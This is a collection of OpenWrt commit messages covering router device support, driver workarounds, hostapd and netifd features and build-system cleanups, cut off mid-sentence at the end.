everest: 127083 cycles per call
Xeon Platinum 8275CL (Cascade Lake)
armfazh: 114380 cycles per call
everest: 114656 cycles per call
Achieving these kind of results with formally verified code is quite
remarkable, especialy considering that performance is favorable for
newer chips.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Based on a script for comparison, this fixes (hopefully) all errors
in SUPPORTED_DEVICES for ar71xx->ath79 upgrade.
Devices where old string is removed as the device does not exist
in ar71xx:
- dlink_dir-859-a1
- tplink_archer-a7-v5
- tplink_cpe510-v3
Devices where string is changed because it did not match the board
name in ar71xx:
- tplink_tl-mr3220-v1
- tplink_tl-mr3420-v1
- tplink_tl-wr2543-v1
- tplink_tl-wr741nd-v4
- tplink_tl-wr841-v7
- ubnt_unifiac-mesh
- ubnt_unifiac-mesh-pro
- ubnt_unifiac-pro
For this device, the correct string could not be found, but we could
not determine the correct one. Thus, the string is removed for now:
- tplink_tl-wr740n-v4
The script for checking this is quite simple (note that newer
entries, i.e. ath79->ath79 upgrade, are displayed as missing):
newpath=target/linux/ath79/image/
oldpath=target/linux/ar71xx/base-files/lib/ar71xx.sh
for s in $(grep -roh "SUPPORTED_DEVICES.*" $newpath | sed 's/SUPPORTED_DEVICES *.= *//'); do
found="Missing"
grep -q -r "\"$s\"" $oldpath && found="Found"
echo "$s: $found."
done
The errors might be filtered by appending 'grep "Missing"' to the script.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In certain cases, the uncompressed initramfs image will overwrite
the lzma-loader, which is currently only 10 MB away from kernel image
start. To prevent this, change LZMA_TEXT_START to 24 MB, so loader
and compressed image have 8 MB at the end of RAM and uncompressed
image has 24 MB available.
This is only enabled for ath79 at the moment, as there we can be sure
that all devices have 32+ MB RAM and TARGET_INITRAMFS_COMPRESSION_LZMA
is not enabled there.
Despite, since lzma-loader is currently build specifically for ath79
anyway, there is no need to re-specify LOADADDR and LZMA_TEXT_START
in image/Makefile, so the values are set directly in
image/lzma-loader/Makefile and the overwrite in image/Makefile is
removed.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
This commit adds support for the MikroTik RouterBOARD wAP G-5HacT2HnD
(wAP AC), a small weatherproof dual band, dual-radio 802.11ac
wireless AP with integrated omnidirectional anntennae and one
10/100/1000 Mbps Ethernet port.
See https://mikrotik.com/product/RBwAPG-5HacT2HnD for more info.
Specifications:
- SoC: Qualcomm Atheros QCA9556
- RAM: 64 MB
- Storage: 16 MB NOR
- Wireless:
· Atheros AR9550 (SoC) 802.11b/g/n 2x2:2, 2 dBi antennae
· Qualcomm QCA9880 802.11a/n/ac 3x3:3, 2 dBi antennae
- Ethernet: Atheros AG71xx (SoC, AR8033), 1x 1000/100/10 port,
passive PoE in
Working:
- Board/system detection
- Sysupgrade
- Serial console
- Ethernet
- 2.4 GHz radio
- 5 GHz radio and LED
- Reset button
Not working/Unsupported:
- 2.4 GHz LED
- AP/CAP LED
- ZT2046Q SPI temperature and voltage sensor
This adds the basic features for supporting MikroTik devices:
- a common recipe for mikrotik images in common-mikrotik.mk
- support for minor (MikroTik NOR) split firmware (only for
generic subtarget so far)
Acknowledgments: Robert Marko <robimarko@gmail.com>
Andrew Cameron <apcameron@softhome.net>
Koen Vandeputte <koen.vandeputte@ncentric.com>
Chuanhong Guo <gch981213@gmail.com>
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Co-developed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
In order to make the QCA955x SGMII workaround work, the unsuccessful
SGMII autonegotiation on the AR8033 should not block the PHY
state-machine.
Otherwise, the ag71xx driver never becomes aware of the copper-side
link-establishment and the workaround is never executed.
Signed-off-by: David Bauer <mail@david-bauer.net>
[remove one trailing whitespace per file]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds a workaround for the loss of the SGMII link observed on
the QCA955x generation of SoCs. The workaround originates part from the
U-Boot source code, part from the implementation from AVM found in the
GPL tarball for the AVM FRITZ!WLAN Repeater 450E.
The bug results in a stuck SGMII link between the PHY device and the SoC
side. This has only been observed with the Atheros AR8033 PHY and most
likely all devices using such combination are affected.
It is worked around by reading a hidden SGMII status register and
issuing a SGMII PHY reset until the link becomes useable again.
Signed-off-by: David Bauer <mail@david-bauer.net>
Older ath79-based MikroTik devices have the ERD calibration data
compressed and stored different to newer IPQ40xx ones. This commit
adds support for these former ones.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Acked-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
This utility extracts the radio calibration data, as well as other
board-related information (model, serial number, etc.), from MikroTik
Routerboard devices' flash.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Acked-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
hostapd sets minimum values for CWmin/CWmax/AIFS and maximum for TXOP.
The code for applying those values had a few bugs leading to bogus values,
which caused significant latency and packet loss.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Due to the history of the target, all devices added before a certain
point have the same device string in BOARD_NAME, DEVICE_DTS and added
to SUPPORTED_DEVICES.
Thus, we can set this one automatically for all devices where
BOARD_NAME is specified, removing the explicit DEVICE_DTS and
SUPPORTED_DEVICES addition there.
For new devices, nothing has changed, and just DEVICE_DTS has to
be set manually.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This tidies up the image Makefiles for the sunxi target by:
- Move the if-condition for the subtarget to the parent Makefile
- Remove lots of unnecessary empty lines
- Sort device definitions alphabetically
- Harmonize line wrapping for DEVICE_PACKAGES
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add ubootenv uci config for gl-ar150, gl-domino and gl-mifi
Signed-off-by: Kimmo Vuorinen <kimmo.vuorinen@gmail.com>
[commit message/title facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Change u-boot-env partitions to be mounted as read-write for gl-ar150,
gl-domino and gl-mifi so uboot-envtools support is possible.
Signed-off-by: Kimmo Vuorinen <kimmo.vuorinen@gmail.com>
[commit title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link TL-WA850RE v2 is a wall-plug N300 Wi-Fi range extender,
based on Qualcomm/Atheros QCA9533 v2.
Short specification:
- 550/391/195 MHz (CPU/DDR/AHB)
- 1x 10/100 Mbps Ethernet
- 32 MB of RAM (DDR1)
- 4 MB of FLASH
- 2T2R 2.4 GHz
- 2x internal antennas (embedded on PCB)
- 9x LED (all can be turned off with GPIO15), 2x button
- UART (J3) header on PCB
Flash instruction: use "factory" image directly in vendor GUI.
Warning: this device does not include any kind of recovery mechanism
in the bootloader and disassembling process is not trivial.
You can access vendor firmware over serial line using:
- login: root
- password: sohoadmin
Stock firmware uses label MAC address for WiFi and same with local
bit set for ethernet. Since this is difficult to reproduce with
the toolset of OpenWrt, we just keep both ethernet and WiFi to
the same address here.
This is the first tiny device with tplink-safeloader in ath79.
Firmware partition is only 3648k and thus even smaller than for
the tplink-4m(lzma) devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This moves the TP-Link TL-WA850RE v2 to dynamic partitioning and
will allow to use this for ath79 as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
- Remove the "RGMII TX delay fixup" hack and the associated
DT-property. It was never used in a DT-based platform and
solved a problem which can be mitigated by using correct
delays on the MAC side.
- Remove the patch to enable platform-data support for the
at803x driver. It was only used by ar71xx which does not
(and never will) support kernel 4.19 or later.
- Remove the SmartEEE DT-configuration patch. As explained
previously, this patch never disabled the Atheros SmartEEE
implementation, but rather "standard" EEE. This can be done
on device-tree compatible platforms by adding the
"eee-broken-1000t" or "eee-broken-100tx" properties to the PHY
node. As all usages of the old properties are migrated, this
patch can be removed.
Signed-off-by: David Bauer <mail@david-bauer.net>
Acked-by: Christian Lamparter <chunkeey@gmail.com>
The hack-patch which introduced the "at803x-disable-smarteee" for
disabling SmartEEE did in fact not disable SmartEEE but rather disabled
802.3az "standard" EEE.
This can be done by using the upstream properties "eee-broken-100tx" and
"eee-broken-1000t". EEE is then disabled by the PHY subsystem.
Tested on devolo WiFi pro 1200e.
Signed-off-by: David Bauer <mail@david-bauer.net>
This ports support for the TL-WA850RE v1 range extender from ar71xx
to ath79.
Specifications:
Board: AP123 / AR9341 rev. 3
Flash/RAM: 4/32 MiB
CPU: 535 MHz
WiFi: 2.4 GHz b/g/n
Ethernet: 1 port (100M)
Flashing instructions:
Upload the factory image via the vendor firmware upgrade option.
Recovery:
Note that this device does not provide TFTP via ethernet like many
other TP-Link devices do. You will have to open the case if you
require recovery beyond failsafe.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
hostapd allows putting WDS (4addr mode) clients into a separate bridge
other than the bridge regular (3addr mode) clients end up in. This is
useful for example giving WDS clients access to several VLANs
(trunking) while regular clients will end up inside a specific VLAN.
Add 'wds_bridge' config parameter for wifi-iface which contains the
name of the bridge. hostapd-mini already supports this feature, so all
needed is to add the UCI wrapping in mac80211.sh.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Update the uDPU kernel support, fixing a number of issues:
* make ethernet work again by adding comphy definitions
* slow the I2C bus to give it more chance of actually working
* the SFP cages are designed to support up to 3W modules, which
would be prevented from initialising without this patch.
Signed-off-by: Russell King <linux@armlinux.org.uk>
[jonas.gorski: rename to mvebu, refresh patches]
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
Add support for Methode DM7052 NBASE-T module to OpenWRT. These
patches are taken from my "phy" branch, and will be sent for the
next kernel merge window.
Signed-off-by: Russell King <linux@armlinux.org.uk>
[jonas.gorski: move patches to pending, refresh patches]
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
Backport the phy/phylink/sfp patches currently queued in netdev or in
mainline necessary to support GPON popular modules, specifically to
support Huawei and Nokia GPON modules.
Signed-off-by: Russell King <linux@armlinux.org.uk>
[jonas.gorski: include kernel version in file names, refresh patches]
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
Move two phylink patches from mvebu to generic, so that everyone can
benefit from them.
Signed-off-by: Russell King <linux@armlinux.org.uk>
[jonas.gorski: add kernel version to file names]
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
Remove the old phylink/SFP patches from the OpenWRT build; these will
be updated with a new set in subsequent.
450-reprobe_sfp_phy is also removed for several reasons:
1) it is not in mainline.
2) it breaks copper modules that do not have a PHY.
3) it makes backporting the current patch set harder.
Discussion is ongoing with the patch author for a mainline Linux kernel
patch for this.
Signed-off-by: Russell King <linux@armlinux.org.uk>
Update bison to 3.5
Release notes:
https://lists.gnu.org/archive/html/info-gnu/2019-12/msg00002.html
Note for future: release notes mention that YYPRINT macro is
declared deprecated, but apparently still works for now. I found
one possible use of that in scripts/config/zconf.tab.c_shipped
That might be modernized at some point, but as the file is synced
with the one from upstream Linux, it might get fixed there.
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
TPLINK_BOARD_NAME has been renamed to TPLINK_BOARD_ID a long time
ago (7d6c63d875: "build: rename TPLINK_BOARD_NAME to
TPLINK_BOARD_ID" for ar71xx), and before introducing ath79 target
at all.
TPLINK_BOARD_NAME seems to have been introduced into ath79 target
only by mistake. It has never been used. Remove it.
Fixes: 53c474abbd ("ath79: add new OF only target for QCA MIPS silicon")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit de80424f70 which needs
more work and testing as it broke at least jffs2 overlays at least on
ath79 platform, marking them as read-only, thus unusable:
jffs2_build_filesystem(): erasing all blocks after the end marker...
jffs2: Erase at 0x009e0000 failed immediately: -EROFS. Is the sector locked?
Ref: http://lists.infradead.org/pipermail/openwrt-devel/2020-January/021344.html
Reported-by: Steve Brown <sbrown@ewol.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
In zynq target, the DEVICE_DTS variable is always set consistent
with the model part of the device definition name.
This patch replaces the redundant definitions for the individual
devices with a common recipe.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For the mvebu target in particular, there is a lot of files in
base-files that are only relevant for one subtarget. Improve
overview and reduce size per subtarget by moving/splitting
base-files depending on the subtarget they belong to.
While at it, consolidate 01_leds by using the model part of
the board name as variable.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This introduces the SOC variable to mvebu target to derive some of
the DEVICE_DTS variables based on the SOC prefix and the device
definition name.
Since DTS names and compatible are inconsistent also in the kernel
for this target, the scheme cannot be applied to all devices, though.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This moves the if conditions for choosing which image Makefiles
are used to the parent image/Makefile. It seems more convenient
to have "codeflow" in the parent while the subtarget-specific
files only contain the definitions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This device is an LTE router supported in ar71xx so far.
As per original commit, hardware specifications (v1.0 EU):
- SoC: QCA9531
- Flash: Winbond W25Q64FV (8MiB)
- RAM: EtronTech EM6AB160TSE-5G (64MiB)
- Wireless: SoC platform only (2.4GHz b/g/n, 2x internal antenna)
- Ethernet: 2NIC (3x100M + 1x100M)
- WWAN: TP-LINK LTE MODULE (2x external detachable antenna)
- Power: DC 12V 1A
Flashing instructions:
You can flash via tftp recovery (serve factory image as /mr6400_tp_recovery.bin
on 192.168.0.66/24, connect to any ethernet port and power on device while
holding the reset button). Flashing via OEM web interface does not work.
Known issues:
- LTE module does not always come up during boot (showing USB enumeration errors). Similar behavior has been reported at least from one user for ar71xx, too. Turning USB off and on again will serve as a workaround.
- eth0 (LAN) always shows carrier as 1 even if no cable is plugged in (this works "correctly" on ar71xx)
Signed-off-by: Enrico Mioso <mrkiko.rs@gmail.com>
[several adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Filip Moc <lede@moc6.cz>
When mapping for RSSI LEDs was defined for interface wlan0 on
Ubiquiti Rocket M Titanium, it missed connection to actual interface.
Therefore create the mapping to interface, so RSSI LEDs work without
additional configuration, after starting rssileds service.
While at that, split RSSI into ~equal intervals for 6 LEDs,
and remove coefficients needed for PWM LEDs, as this board does not
support PWM LEDs.
Finally, for complete support, enable 'rssileds' package in per-device
rootfs, so the indicator works out of box.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
58c12f7 jail: add basic support for network namespaces
ba69639 jail: create resolv.conf symlink for netns jails
81b88b1 jail: more strict mount options for /tmp/resolv.conf.d/
Add new 'netns' flag for procd_add_jail to make ujail setup a new
network namespace for the jailed service.
See previous netifd commit for example configuration for netns jailed
service.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Prepare netifd for handling procd service jails having their own
network namespace.
Intefaces having the jail attribute will only be brought up inside the
jail's network namespace by procd calling the newly introduced ubus
method 'netns_updown'.
Currently proto 'static' is supported and configuration changes are
not yet being handled (ie. you'll have to restart the jailed service
for changes to take effect).
Example /etc/config/network snippet:
config device 'veth0'
option type 'veth'
option name 'vhost0'
option peer_name 'virt0'
config interface 'virt'
option type 'bridge'
list ifname 'vhost0'
option proto 'static'
option ipaddr '10.0.0.1'
option netmask '255.255.255.0'
config interface 'virt0'
option ifname 'virt0'
option proto 'static'
option ipaddr '10.0.0.2'
option netmask '255.255.255.0'
option gateway '10.0.0.1'
option dns '10.0.0.1'
option jail 'transmission'
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Kernel partition increase to 4 MiBs for Netgear WNDR3700v4 and WNDR4300
routers breaks sysupgrade image compatibility with ar71xx builds.
Therefore, SUPPORTED_DEVICES variable has to be removed for both devices
from target makefile.
Reported-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Currently it's not possible to effectively mark a "firmware" partition
as read-only. The sub-partitions "kernel", "rootfs" and "rootfs_data"
are always created as read-write (ignoring the parent access mode).
This patch enforces the access mode of sub-partitions to match the
parent partition, which is useful for recovery images that are meant
to be fully read-only to avoid accidental damage from end-user.
An example of such implementation (read-only firmware image) is the
recovery image used on the Zsun-SD100 [1].
Please note the related patch for fstools [2] to enable this read-only
concept.
[1] https://github.com/brunompena/zsun-resources
[2] http://lists.infradead.org/pipermail/openwrt-devel/2020-January/021043.html
Signed-off-by: Bruno Pena <brunompena@gmail.com>
[removed already obsolete 4.9 kernel patch]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The Netgear WN2500RP V1 switch0 already works for LAN
however the port order for the LAN ports is inverted. Correct
physical port order watched from the back of the device is:
4 / 3 / 2 / 1
WAN port is absent on this device and therefore removed
from switch config.
Signed-off-by: Walter Sonius <walterav1984@gmail.com>
[move block to maintain alphabetic sorting]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The device tree property "mediatek,led_polarity" is ignored for
MT7628AN and MT7688. According to the datasheet both SoCs have
the matching register. Therefore the property should be applied
on these two devices as well.
Signed-off-by: Maximilian Pachl <m@ximilian.info>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
Tested-by: Sungbo Eo <mans0n@gorani.run>
This patch updates "soft_ver" for TP-Link Archer C6 v2 (EU).
It makes possible to upload OpenWrt on lastest vendor's firmware
as the web-based updater checks for major.minor version during upload.
Due to that on next major/minor version update TP-Link will stop
us from using the web-based firmware update tool, so it will
require a new patch on soft_ver to match major and minor version.
Up to today's latest stock firmware the patch (major.minor.patch)
version does not matters, that allows downgrade from 1.1.4 to 1.1.1
but do not allow downgrade from 1.1.X to 1.0.X.
Signed-off-by: Anderson Vulczak <andi@andi.com.br>
Change the LED labels for hdd1/hdd2 in 01_leds to match their
counterpart in DTS.
Signed-off-by: Stephan Knauss <openwrt@stephans-server.de>
[improve commit title and message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Netgear WNR3500 V2 switch0 already works for WAN/LAN
however the port order for the LAN ports is inverted. Correct
physical port order watched from the back of the device is:
Internet / 4 / 3 / 2 / 1 this resembles the Linksys E3000 V1.
Verfied with imagebuilder edit FILES=/etc/board.d/01_network
Signed-off-by: Walter Sonius <walterav1984@gmail.com>
Specification:
SoC: MediaTek MT7628AN
RAM: 64MiB
Flash: 8MiB
Wifi:
- 2.4GHz: MT7628AN
- 5GHz: MT7612EN
LAN: 1x 10/100 Mbps
Flash instructions:
Flash factory image through stock firmware WEB UI.
Back to stock is possible by using TFTP and stripping down the Firmware
provided by TP-Link to a initramfs.
The flash space between 0x650000 and 0x7f0000
is blank in the stock firmware so I left it out as well.
Signed-off-by: Steffen Förster <nemesis@chemnitz.freifunk.net>
Most of the kernel version switches below 4.14 were removed in commit
97940f8766 ("kernel: remove obsolete kernel version switches"),
but some of them still remained. Remove them now.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Using the led_ prefix for the node label is now common in ath79,
so also apply it here.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Using the LED of network interfaces for status (boot/failsafe/...)
indication is somewhat misleading, as the blinking might be
mistaken for network activity. This uses rssi LEDs instead, which
do not blink normally and thus are less ambiguous.
The rssihigh LED has also been used consistently for the TP-Link CPE
devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
"#mediatek,portmap" is not a valid property name.
If mediatek,portmap equals 0x0, then the esw driver ditches it and uses
the default value, 0x3f.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
mt76x8 uses esw_rt3050 driver, which does not accept mediatek,portmap with
string values. Convert the strings to integers to make it work.
According to its switch setup, WRTnode 2P/2R have a WAN port at port 0,
so the correct value should be 0x3e.
tplink_8m.dtsi uses "llllw", but it does not match switch setups of any
device using the DTSI. Remove it from the DTSI and add correct value to DTS
for each device.
These devices have a WAN port at port 0. Set the value to 0x3e.
- tplink,archer-c20-v4
- tplink,archer-c50-v3
- tplink,tl-mr3420-v5
- tplink,tl-wr840n-v4
- tplink,tl-wr841n-v13
- tplink,tl-wr842n-v5
These devices have only one ethernet port. They don't need portmap setting.
- tplink,tl-wa801nd-v5
- tplink,tl-wr802n-v4
- tplink,tl-wr902ac-v3
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
mt7620 and mt7621 use mt7530 driver, which only accepts "llllw", "wllll",
and "lwlll" values.
According to its switch setup, Mi Router 3G v2 has a WAN port at port 4,
so the correct value should be "llllw".
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
- fix color and active mode for existing wps led
- add green wps led
- add wps button
Signed-off-by: Jan Alexander <jan@nalx.net>
[wrap line]
Signed-off-by: David Bauer <mail@david-bauer.net>
When building libcxx for x86/64, the library is installed in /usr/lib64.
As the install section tries to copy the library from /usr/lib, this
breaks build on x86/64. Override the lib dir suffix to fix this.
Fixes: 856ea2bad3 ("libcxx: Add package")
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Acked-by: Rosen Penev <rosenp@gmail.com>
6db312a dhcpv6-ia: use dhcp leasetime to set preferred/valid statefull lifetimes
2520c48 dhcpv6-ia: introduce DHCPv6 pd and ia assignments flags
b413d8a dhcpv6-ia: cleanup prefix delegation routes
b0902af dhcpv6-ia: remove passing interface as parameter to apply_lease
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Currently, it is very cumbersome for a user to connect to a WPA-Enterprise
based network securely because the RADIUS server's CA certificate must first be
extracted from the EAPOL handshake using tcpdump or other methods before it can
be pinned using the ca_cert(2) fields. To make this process easier and more
secure (combined with changes in openwrt/openwrt#2654), this commit adds
support for validating against the built-in CA bundle when the ca-bundle
package is installed. Related LuCI changes in openwrt/luci#3513.
Signed-off-by: David Lam <david@thedavid.net>
[bump PKG_RELEASE]
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Do not put usb-phy into reset if clearing the usb-phy reset or
setting the suspend_override has failed.
Reorder (de)asserts like in arch/mips/ath79/dev-usb.c.
Add an optional reset_control "usb-phy-analog", which is needed for
ar934x SoCs like in the old mach-driver arch/mips/ath79/dev-usb.c.
Signed-off-by: Johann Neuhauser <johann@it-neuhauser.de>
This image is only needed on one device (wAP AC); since this target is
going to be removed anyway it doesn't make sense to add an extra "low
RAM" image.
Fixes OOM issues on RouterBoard wAP AC.
Signed-off-by: Thomas Nixon <tom@tomn.co.uk>
In function `main` add calls to `free` for the variable `executable`.
This is needed because the variable `executable` is allocated but
never freed. This cause a memory leak.
Signed-off-by: Andrea Dalla Costa <andrea@dallacosta.me>
Change the caldata partition DTS node label to be consistent with
the label property for some Netgear WNDR devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
If a config section of a peer does not have a public key defined, the
whole interface does not start. The following log is shown
daemon.notice netifd: test (21071): Line unrecognized: `PublicKey='
daemon.notice netifd: test (21071): Configuration parsing erro
The command 'wg show' does only show the interface name.
With this change we skip the peer for this interface and emit a log
message. So the other peers get configured.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
This patch introduces support for Netgear WNDR4500v3. Router
is very similar to WNDR4300v2 and is based on the same PCB.
Information gathered from various Internet sources (including
https://patchwork.ozlabs.org/patch/809227/) shows following
differences to WNDR4300v2:
* two USB 2.0 ports with separate LEDs
* USB LEDs soldered to secondary pads
* WPS and RFKILL buttons soldered to secondary pads
* described as N900 device with 3x3:3 MIMO for 2.4GHz radio
* power supply requirement is DC 12V 2.5A
* vendor HW ID suffix differs in one digit
* bigger chassis
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
This patch introduces support for Netgear WNDR4300v2.
Specification
=============
* Description: Netgear WNDR4300 v2
* Loader: U-boot
* SOC: Qualcomm Atheros QCA9563 (775 MHz)
* RAM: 128 MiB
* Flash: 2 MiB SPI-NOR + 128 MiB SPI-NAND
- NOR: U-boot binary: 256 KiB
- NOR: U-boot environment: 64 KiB
- NOR: ART Backup: 64 KiB
- NOR: Config: 64 KiB
- NOR: Traffic Meter: 64 KiB
- NOR: POT: 64 KiB
- NOR: Reserved: 1408 KiB
- NOR: ART: 64 KiB
- NAND: Firmware: 25600 KiB (see notes for OpenWrt)
- NAND: Language: 2048 KiB
- NAND: mtdoops Crash Dump: 128 KiB
- NAND: Reserved: 103296 KiB
* Ethernet: 5 x 10/100/1000 (4 x LAN, 1 x WAN) (AR8337)
* Wireless:
- 2.4 GHz b/g/n (internal)
- 5 GHz a/n (AR9580)
* USB: yes, 1 x USB 2.0
* Buttons:
- Reset
- WiFi (rfkill)
- WPS
* LEDs:
- Power (amber/green)
- WAN (amber/green)
- WLAN 2G (green)
- WLAN 5G (blue)
- 4 x LAN (amber/green)
- USB (green)
- WPS (green)
* UART: 4-pin connector JP1, 3.3V (Vcc, TX, RX, GND), 115200 8N1
* Power supply: DC 12V 1.5A
* MAC addresses: LAN=WLAN2G on case label, WAN +1, WLAN5G +2
Important Notes
===============
0. NOR Flash (2 MiB) is not touched by OpenWrt installation.
1. NAND Flash (128 MiB) layout under OpenWrt is changed as follows:
all space is split between 4 MiB kernel and 124 MiB UBI areas;
vendor partitions (language and mtdoops) are removed; kernel space
size can be further expanded if needed; maximum image size is set
to 25600k for compatibility reasons and can also be increased.
2. CPU clock is 775 MHz, not 750 MHz.
3. 5 GHz wireless radio chip is Atheros AR9580-AR1A with bogus PCI
device ID 0xabcd. For ath9k driver to load successfully, this is
overriden in DTS with correct value for this chip, 0x0033.
4. RFKILL button is wired to AR9580 pin 9 which is normally disabled
by chip definition in ath9k code (0x0000F4FF gpio mask). Therefore
'qca,gpio-mask=<0xf6ff>' hack must be used for button to work
properly.
5. USB port is always on, no GPIO for 5V power control has been
identified.
Installation
============
* TFTP recovery
* TFTP via U-boot prompt
* sysupgrade
* Web interface
Test build configuration
========================
CONFIG_TARGET_ath79=y
CONFIG_TARGET_ath79_nand=y
CONFIG_TARGET_ath79_nand_DEVICE_netgear_wndr4300-v2=y
CONFIG_ALL_KMODS=y
CONFIG_DEVEL=y
CONFIG_CCACHE=y
CONFIG_COLLECT_KERNEL_DEBUG=y
CONFIG_IMAGEOPT=y
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
This patch adds 'qca,gpio-mask=<u32>' device tree property to ath9k node.
This optional setting is a hack and should only be used in very special
(and rare) cases when a button or LED is wired to a GPIO pin normally
masked out (due to being one-way etc). Netgear WNDR4300 v2 is one such
example - it uses GPI9 for RFKILL.
See ath9k/reg.h *_GPIO_MASK constants.
Use with caution and expect to see stream of kernel warnings if wrong
mask value is provided.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
If zram-backed swap is added after an existing swap, it gets a lower
priority. Assiming that usually all other swaps are slower, there should
be a way to assign a higher priority to zram swap.
Signed-off-by: Maxim Storchak <m.storchak@gmail.com>
This commit adds support for the D-Link DIR-505, previously supported in
ar71xx.
Hardware
--------
SoC: Atheros AR9330
FLASH: 8M SPI-NOR
RAM: 64M
WIFI: 1T1R 1SS Atheros AR9330
LED: Power green, Status red
BTN: WPS, Reset
Installation
------------
Currently, installation is only possible by sysupgrading from an earlier
OpenWrt version, U-Boot TFTP or a modded U-Boot. I do not have the
original bootloader from D-Link on my device anymore, so i cannot test
the factory image.
Signed-off-by: David Bauer <mail@david-bauer.net>
The depends are totally wrong. libunwind does not work with powerpc and
i386 as it needs glibc.
Instead of duplicating the platforms, just change the dependency.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
With this change it is now possible to switch off single instances of
the uhttpd config. Until now it was only possible to switch all
instances of uhttpd on or off.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
The sender domain has a DMARC Reject/Quarantine policy which disallows
sending mailing list messages using the original "From" header.
To mitigate this problem, the original message has been wrapped
automatically by the mailing list software.
Rekey GTK on STA disassociate
Signed-off-by: Kyle Copperfield <kmcopper@danwin1210.me>
The sender domain has a DMARC Reject/Quarantine policy which disallows
sending mailing list messages using the original "From" header.
To mitigate this problem, the original message has been wrapped
automatically by the mailing list software.
Allows dtim_period to be configurable, the default is from hostapd.
Adds additional regulatory tunables for power constraint and spectrum
managment.
Signed-off-by: Kyle Copperfield <kmcopper@danwin1210.me>
The present U-Boot for GL-AR750S has a limit of 2 MB for kernel size.
While sysupgrade can manage kernels up to the present limit of 4 MB,
directly flashing a factory.img with a kernel size greater than 2 MB
through U-Boot will result in an unbootable device.
This commit uses the newly-introduced check-kernel-size build
operation to prevent the output of factory.img when the kernel
exceeds 2 MB in size, yet permits output of sysupgrade.img
as long as the kernel is within KERNEL_SIZE := 4096k
Cc: Chuanhong Guo <gch981213@gmail.com>
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
Certain boards have limitations on U-Boot that prevent flashing
of images where the kernel size exceeds a threshold, yet
sysupgrade can sucessfully manage larger kernels. The current
check-size will remove the target artifact if its total size
exceeds the threshold. If applied after append-kernel,
it will remove the kernel, but the remaining image-assembly
steps will continue, resulting in an image without a kernel
that is likely unbootable.
By defining check-kernel-size, it is now possible to prevent release
of such unbootable images through a construct similar to:
IMAGE/factory.img := append-kernel | pad-to $$$$(GL_UBOOT_UBI_OFFSET) | \
append-ubi | check-kernel-size $$$$(GL_UBOOT_UBI_OFFSET)
Cc: Chuanhong Guo <gch981213@gmail.com>
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
The sender domain has a DMARC Reject/Quarantine policy which disallows
sending mailing list messages using the original "From" header.
To mitigate this problem, the original message has been wrapped
automatically by the mailing list software.
Failsafe code of dropbear should be in the dropbear package not the
